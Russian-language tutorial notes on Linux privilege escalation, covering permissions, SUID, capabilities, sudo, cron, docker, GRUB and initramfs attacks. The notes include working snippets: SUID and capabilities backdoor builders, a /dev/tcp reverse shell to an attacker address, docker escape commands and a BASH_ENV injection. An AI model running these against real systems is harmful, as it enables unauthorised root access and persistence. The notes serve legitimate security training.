# Linux Privileges Escalation ## Понимание прав пользователей и сервисов в Linux Пользователь root – специальный аккаунт, имеет user id 0, может выполнять все операции без исключения. Обычные пользователи (их UID начинается с 500 или 1000, в зависимости от дистрибутива) ограничены в правах и с настройками по умолчанию не могут нанести серьёзный вред целостности системы. **/etc/passwd** – текстовый файл, содержащий список учетных записей пользователя. ![](https://i.imgur.com/IFweYLj.png) **/etc/shadow** – текстовый файл, содержащий хэши паролей пользователей, доступ к нему есть только у суперпользователя и членов группы shadow. При необходимости сгенерировать и изменить хэш пароля пользователя, предварительно необходимо узнат ьформат хэширования через `cat login.defs` ![](https://i.imgur.com/qEz4V80.png) Пароли также можно хранить и в /etc/passwd в формате crypt: `hacker:13310alp6DlVk:0:0::/:/bin/bash` **Получение доступа на запись к файлам /etc/shadow или /etc/passwd в большинстве конфигураций позволяет поднять свои права до root.** --- ### Права доступа. В стандартной модели есть 3 вида основных прав доступа: 1. чтение 2. запись 3. исполнение (для директорий – прохождение через них) ![](https://i.imgur.com/MBZk3Bg.png) Права определяются для трех групп: 1. для владельца 2. для группы владельца 3. для всех остальных ![](https://i.imgur.com/r6wMcLe.png) Формат записи прав доступа: ![](https://i.imgur.com/OX8zhcA.png) --- ### POSIX ACL Для расширения стандартной модели в Linux были добавлены списки контроля доступа – ACL, позволяющие более гибко конфигурировать права доступа, задавая их для конкретных пользователей и групп. Проверка поддержки ACL: ``` bash= sudo tune2fs -l /dev/sdX | grep "Default mount options:" ``` Добавление записи ACL для выдачи прав конкретному пользователю: ``` bash= setfacl -m "u:user:rwx" /path/to/file ``` Удаление записи ACL: ``` bash= setfacl -x "u:user" /path/to/file ``` Удаление всех записей ACL: ``` bash= setfacl -b /path/to/file ``` --- ### Атрибуты ФС Файловые системы ext2, ext3 и ext4 имеют специальные атрибуты для файлов и каталогов. `lsattr`– получение специальных атрибутов файла `chattr` – изменение специальных атрибутов Наиболее интересные атрибуты: `a` - файл может быть открыт только в режиме дозаписи `i` - файл защищен от изменений ### Расширенные права доступа Помимо обычных прав доступа существуют ещё и расширенные: 1) SUID bit - позволяет выполнение программы с правами хозяина файла 2) SGID bit - позволяет выполнение программы с правами группы хозяина файла 3) Sticky bit – устанавливается на директории, запрещает пользователям удалять или переименовывать файлы, если он не является пользователем-владельцем файла или директории, где содержится файл **SUID bit –ключевой механизм повышения прав в Unix-системах, позволяющий непривилегированным процессам выполнять операции, требующие прав root.** --- ### Capabilities Это средства для управления привилегиями, которые в традиционных Unix-подобных системах были доступны только процессам, запущенным с правами root. Проверка назначенных: ``` bash= getcap /bin/ping ``` Добавить к программе: ``` bash= setcap cap_net_raw+ep /bin/ping ``` Наиболее часто используемые: `CAP_CHOWN`– возможность менять владельца файла `CAP_DAC_OVERRIDE`– возможность игнорировать все ограничения доступа (read, write, execute). `CAP_NET_BIND_SERVICE`–возможность слушать привилегированные порты `CAP_SETUID`– возможность устанавливать процессу произвольный UID `CAP_SYS_PTRACE`– возможность вести отладку любого процесса #### Пример capabilities бэкдора ```bash= #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > "$SRC" #include <unistd.h> int main() { setreuid(0,0); execve("/bin/sh",0,0); } EOF gcc "$SRC" -o /tmp/backdoor setcap cap_setuid+ep /tmp/backdoor rm "$SRC" ``` --- ### **SUID** #### Идентификаторы процессов Каждый процесс имеет следующие идентификаторы (ID) пользователя и группы: 1. Реальный (real) 2. Действующий (effective) 3. Сохраненный (saved) 4. Файловой системы (fsuid) Привилегированные процессы имеют действующий идентификатор пользователя равный 0. Правила изменения идентификаторов: 1. Непривилегированный процесс может установить любое значение из его текущих ID в любой из данных идентификаторов. 2. Привилегированный процесс может менять идентификаторы произвольно. #### SUID и повышение прав Особенности SUID-программ в стандартных конфигурациях Linux 1. Работают с полномочиями пользователя root 1. Используются для выполнения безопасных привилегированных операций, например, смены пароля или отправки ICMP-запросов 3. Используются для штатной смены идентификаторов пользователя: su, sudo, pkexec 4. Требования к качеству кода этих программ довольно высокие, т.к. ошибки в них могут привести к нарушению безопасности всей системы 5. Программы учитывают идентификатор запустившего их пользователя и различные файлы конфигурации #### Пример SUID бэкдора ```bash= #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > $SRC #include <unistd.h> int main() { setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0); } EOF gcc $SRC -o /bin/backdoor chmod u+s /bin/backdoor ``` --- ## Первичный вход Для Linux-систем первичным вектором проникновения чаще всего является уязвимость в каком-либо вебприложении или сетевом сервисе, кроме того, может применяться и перебор учетных данных для telnet или ssh. Для работы с системой после RCE используются следующие типы утилит: ### Web-shell Программа на языке целевой веб-платформы, позволяющая выполнять произвольные команды и другие операции. [Simple Web Shell](https://github.com/artyuum/simple-php-web-shell) - бзаовый, но эффективный shell для PHP. [PHPSploit](https://github.com/nil0x42/phpsploit) - работает через создание хеадера HTTP, можно инжектить в уже существующий код. ### Reverse/bind shell Программы, обычно уже установленные в системе, связывающие командную оболочку атакуемой системы с удаленным или локальным сетевым портом при указании определенных аргументов. 1. Reverse shell - это принуждение системы отправить соединение на указанный таргет и порт и при прослушивании этого порта возможность получить подобие ssh. [Генерация реверс шелов](https://www.revshells.com/) #### Создание реверс шелла. 1. `stty -a` Запоминаем количество строк и столбцов в нашем текущем шелле 2. `nc -lvp 4444` С помощью net cat начинаем слушать порт на который будем открывать shell на нашей машине 3. С помощью генератора выше выполняем команду запуска шела на атакуемой машине. ##### Например: ```bash= bash -c "0<&196;exec 196<>/dev/tcp/192.168.50.98/4444; sh <&196 >&196 2>&196" ``` 4. После успешного соединения запускаем себе оболочку bash ##### Например: ```python= python3 -c 'import pty; pty.spawn("/bin/bash")' script /dev/null ``` #### Делаем шелл красивым и удобным. ```bash= Ctrl + Z stty raw -echo; fg reset export SHELL=bash export TERM=xterm-256color stty rows 27 columns 105 ``` В последней команде нужно указать количество строк и столбоц из stty В случае если одновременно нужно работать с множеством шеллов, для этого есть программы, например **pwncat**. 2. Bind shell - шеллы которые открывают доступ непосредсветнно к машине через открытие у неё портов с определённым сервисом. Самый наглядный пример это ssh или например можно написать свой питон скрипт. ### C2 agents Специализированные утилиты для скрытного управления удаленной машиной, обычно модульные и связанные с неким фреймворком для ведения постэксплуатации. Самые известные это meterpreter совместно с фреймворком Metasploit. ## Начальный осмотр системы. ### Что ищем и смотрим в первую очередь? Есть автоматизированные средства, они дают много ложных срабатываний. Но экономят время. Использовать можно, но необходимо проверять за ними. 1) [LeanPeass](https://github.com/carlospolop/PEASS-ng/releases/tag/20220807) - скрипт, выполняющий очень подробный анализ возможных векторов повышения прав за счет использования ошибок администрирования. 2) [Linux exploit suggester](https://github.com/mzet-/linux-exploit-suggester) - – утилита для обнаружения потенциально уязвимых версий сервисов и ядра, выдает список эксплойтов со ссылками на них. Применяемые ей эвристики довольно примитивны и часто выдают ложноположительные срабатывания. Входит в состав LinPEAS. 3) [Lynis](https://github.com/CISOfy/lynis) - мощная и хорошо поддерживаемая утилита, предназначена скорее для системных администраторов, но может выдать и интересную атакующему информацию. #### Ручные проверки. 1. Дистрибутив и версия системы: ``` bash= /etc/issue /etc/*-release ``` 2. Ядро Linux: ``` bash= uname -a ls -la /boot/ ``` 3. Пользователи и их файлы: ``` bash= /etc/passwd ls -la /home .bash_history .mysql_history .ssh бэкапы ``` 4. Переменные окружения: ```bash= env ``` 5. Задачи cron: ```bash= /etc/crontab /etc/cron.* ``` 6. Работа с sudo: ```bash= sudo -l sudo -V ``` 7. SUID-файлы: ```bash= find / -user root -perm -4000 -exec ls -ldb {} \; >/tmp/suid ``` ## Вектора повышения прав. ### Общие принципы 1. Перебор слабых паролей пользователей 2. Получение учетных данных из: 2.2 памяти процессов 2.3 переменных окружения 2.4 конфигурационных файлов с паролями 2.5 бэкапов 3. Эксплуатация уязвимостей конфигурации 3.1 sudo 3.2 cron 3.3 системных сервисов 4. Небезопасные права на критичные для системы файлы и директории 5. Использование принадлежности к привилегированным группам: sudo, docker, wheel, shadow, disc и иным --- ### Перебор паролей Локально пароли лучше всего перебирать многопоточной утилитой [Sucrack](https://github.com/hemp3l/sucrack) ```bash= ./sucrack dict.txt -w 32 ``` ![](https://i.imgur.com/A8UxMvu.png) --- ### SUDO **/etc/sudoers** – конфигурационный файл для команды sudo, использует расширенную форму Бэкуса-Наура для записи элементов конфигурации **Примеры:** ``` root ALL=(ALL:ALL) ALL ubuntu ALL=(ALL:ALL) NOPASSWD: ALL backup ALL=NOPASSWD: /bin/tar %sudo ALL=(ALL:ALL) ALL ``` #### Атаки на sudo Системные администраторы используют sudo для того, чтобы определенные пользователи могли выполнять операции, требующие root прав, при этом набор команд может быть ограничен. **Многие команды в Linux системах имеют возможность выполнить произвольный код, и это часто не учитывается администраторами.** Атакующие могут использовать эту возможность для получения прав суперпользователя. **Пример небезопасной конфигурации SUDO:** ![](https://i.imgur.com/nOrm8Yb.png) --- ### Cron Особенности: 1. Задания хранятся в специальных файлах в определенном формате. 1. Поддерживается возможность запуска заданий от имени разных пользователей 3. Системные задания кладутся в **/etc/crontab** 4. Задания пользователей – в **/var/spool/cron/crontabs** Формат записи в crontab: ![](https://i.imgur.com/5ebdqZg.png) #### Обнаружение короткоживущих процессов Многие выполняемые по расписанию задачи сложно обнаружить, особенно если файлы с их кодом не доступны для чтения или если они инициируются извне, например, через ssh. [PSPY](https://github.com/DominicBreuker/pspy) – утилита, предназначенная для обнаружения таких процессов через постоянный мониторинг /proc, она позволяет увидеть запускаемые программы и их аргументы даже непривилегированному пользователю. #### **Атаки на cron** ##### Небезопасные права. При написании заданий могут использоваться небезопасные права для выполняемых файлов или содержащих их директорий. При наличии права на запись у атакующего возможно выполнение произвольного кода. ##### Wildcard Bash поддерживает использование метасимволов для работы с путями файлов 1. Символ * заменяется на отсортированный в алфавитном порядке список файлов в соответствующей директории. 2. Это позволяет использовать файлы со определенными именами для внедрения опций в команду, что может привести к выполнению произвольного кода. ![](https://i.imgur.com/VuQcucd.png) --- #### **Docker** Принадлежность к группе docker практически равнозначна правам root на хосте, есть множество способов использовать команду docker для повышения прав. **Примеры:** 1. Монтирование rootfs системы ```bash= cp /bin/bash /var/tmp/backdoor docker run --rm -it -v /:/rootfs/ -v /bin/bash:/shell alpine sh chown 0:0 /rootfs/var/tmp/backdoor chmod 4755 /rootfs/var/tmp/backdoor /var/tmp/backdoor -p ``` 2. Запуск процессов в namespace хоста ```bash= docker run --rm -it --pid=host --privileged alpine sh nsenter --target 1 --mount --uts --ipc --net --pid -- bash ``` --- ## Физические атаки на Linux системы Не стоит думать что это именно физически подойти к компьютеру, хотя и это тоже. Данные методы целиком и полностью работают для любых гипервизоров, при получении доступа к нему и возможности открыть консоль. Другой вариант это KVM или IPMI или IDRAC, что тоже позволяет получить доступ к загрузчику. ![](https://i.imgur.com/3PM3HLE.png) ### Общее понимание загрузки Linux 1. Загрузчик считывает в оперативную память ядро Linux и initial RAM disk (initrd) 2. Ядро использует initrd в качестве корневой директории, где производятся все необходимые операции для монтирования основной файловой системы в директорию root 3. Ядро меняет корневую директорию с помощью chroot и запускает демон init 4. Демон init запускает все остальные сервисы, необходимые для корректной работы системы **Схема загрузки Linux:** ![](https://i.imgur.com/KnKvQvH.png) ### Загрузчик GRUB GRUB – наиболее популярный загрузчик системы. Он бладает собственным интерфейсом, который может быть использован для изменения параметров загрузки. GRUB предоставляет консольный интерфейс, который может быть использован для установки произвольных параметров загрузки (например, для загрузки с Live USB) и просмотра файлов и директорий #### GRUB shell Примеры команд: 1. Включение пейджера (для просмотра длинного вывода): `set pager=1 ` 2. Чтение файла `сat (hd0,2)/etc/shadow` 3. Установка раздела `set root=(hd0,2)` 4. Выбор файла с ядром и параметров ядра `linux /boot/vmlinuz-5.15.0-41-generic root=/dev/sda2` 5. Выбор файла с initrd `initrd /boot/initrd.img-5.15.0-41-generic` #### Физическое повышение прав: подмена init 1. Тормозим загрузку на этапе появления Grub левым shift 2. Выбираем ОС и жмём редактирование "e" 3. Находим строку linux и меняем init на /bin/bash ![](https://i.imgur.com/uEAz4TJ.png) Как итог, система загружается с правами ROOT не спрашивая пароль. --- #### Initramfs **Initramfs** – файловая система в оперативной памяти, используется для загрузки необходимых драйверов и использования различных инструментов монтирования файловых систем перед передачей управления приложению init. **Содержание initrd:** ![](https://i.imgur.com/F1i9Oeh.png) Для загрузки в initramfs необходимо поломать загрузку текущей ОС. Например, изменив root в параметрах ядра в grub, на тот который точно не загрузится добавив в конце произвольный набор символов. **Получение доступа к основной системе в initramfs:** ![](https://i.imgur.com/W6Szlvp.png) --- #### Добавление программной закладки в initrd Добавление программной закладки в initrd может быть эффективным методом закрепления на системе или получения к ней первичного доступа, так как раздел /boot часто остаётся незащищенным даже при использовании шифрования жесткого диска с помощью LUKS. **Стандартная разметка дисков при использовании шифрования:** ![](https://i.imgur.com/mfthjKk.png) --- #### Атаки через периферийные устройства [Thunderclap](http://thunderclap.io/) 1. Периферийные устройства могут получать доступ к оперативной памяти компьютера через механизм DMA – direct memory access 2. Уязвимы многие устройства, имеющие интерфейс Thunderbolt, как ноутбуки, так и некоторые десктопы --- ## Логические уязвимости сервисов **Логические уязвимости** – программные уязвимости, не связанные с повреждением памяти, обычно приводят к выполнению произвольного кода при внедрении команд или позволяют выполнить привилегированные операции с файловой системой, например, перезаписать содержимое критичного файла. Зачастую они более опасны, чем бинарные, так как они: 1. Часто затрагивают множество версий программы 2. Надежно работают даже при незначительных изменениях исходного кода, не влияющих на уязвимую часть 3. Не требуют доработки для определенных сборок атакуемой программы и мало зависят от окружения: версии ядра, стандартных библиотек 4. Имеют небольшое количество версий эксплойта 5. Сами эксплойты легко адаптируются под конкретную среду В случае, если в системе есть бинарные файлы с SUID-правами, которые были добавлены не из репозиториев, а реализованы администратором самостоятельно или взяты из проекта с плохим качеством кода, то они могут быть подвержены простейшим логическим уязвимостям. Наиболее популярными уязвимостями являются: 1. Излишнее доверие переменным окружения 2. Отсутствие проверки переменной PATH 3. Передача небезопасных переменных окружения запускаемым процессам 4. Выполнение кода из переменных окружения 5. Инъекция команд 6. Отсутствие проверки на символические ссылки 7. Обращение к файлам, которые могут быть подменены, в том числе из-за состояния гонки (TOCTOU) ### Отсутствие проверки переменной PATH $PATH – переменная среды, указывающая список директорий, в которых последовательно производится поиск исполняемых файлов. **Пример возможного значения переменной:** ```bash= echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games ``` **Пример небезопасного кода:** ```C= #include <stdlib.h> #include <stdio.h> int main(void) { system("ls -la"); return 0; } ``` В коде необходим абсолютный путь, чтобы переменная PATH не использовалась. `system("/bin/ls -la")` ### Передача небезопасных переменных **Пример небезопасного кода:** ```C= #include <stdlib.h> #include <unistd.h> void main() { setreuid(geteuid(), geteuid()); //Об этом можно прочитать в блоке про SUID system("/usr/local/bin/script.sh"); } ``` При вызове функции system(arg) происходит выполнение команды ```bash= /bin/sh –c “arg” ``` Переменные окружения текущего процесса наследуются дочерними процессом, что может привести к выполнению произвольного кода. Например, если программа запускает bash-скрипт, вне зависимости от его содержания, можно выполнить любые команды следующим образом: ```bash= BASH_ENV=/exploit/script.sh /usr/local/bin/wrapper ``` ## Бинарные уязвимости Бинарные уязвимости обычно заключаются в возможности повреждения структуры памяти процесса, позволяющему атакующему перехватить контроль над исполняемым машинным кодом и заставить процесс выполнить произвольный код. **Типичные примеры бинарных уязвимостей:** 1. Переполнение буфера в стеке или динамически выделяемой памяти (куче) 2. Уязвимости форматной строки 3. Целочисленное переполнение 4. Use-after-free В контексте повышения прав чаще всего используются бинарные уязвимости в SUID-ных программах, привилегированных сервисах и самом ядре Linux.